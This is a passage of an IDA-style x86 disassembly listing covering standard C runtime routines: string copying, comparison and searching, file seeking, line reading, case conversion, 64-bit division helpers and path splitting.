loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50


loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------


loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx


loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01


loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax


loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9


loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B


loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A


loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h


loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_48A014, 16h
		or	eax, 0FFFFFFFFh


loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx


loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx


loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A


loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB


loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A


loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4


loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------


loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC


loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90


loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83


loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl


loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi


loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C


loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------


loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi


loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50


loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B


loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68


loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86


loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi


loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]


loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx


loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029


loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0


loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi


loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE


loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl


loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------


loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------


loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162


loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------


loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------


loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232


loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF


loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi


loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------


loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0


loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375


loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------


loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi


loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------


loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0


loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi


loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax


loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax


loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0


loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------


loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41944A:				; CODE XREF: sub_4193FF+3Cj
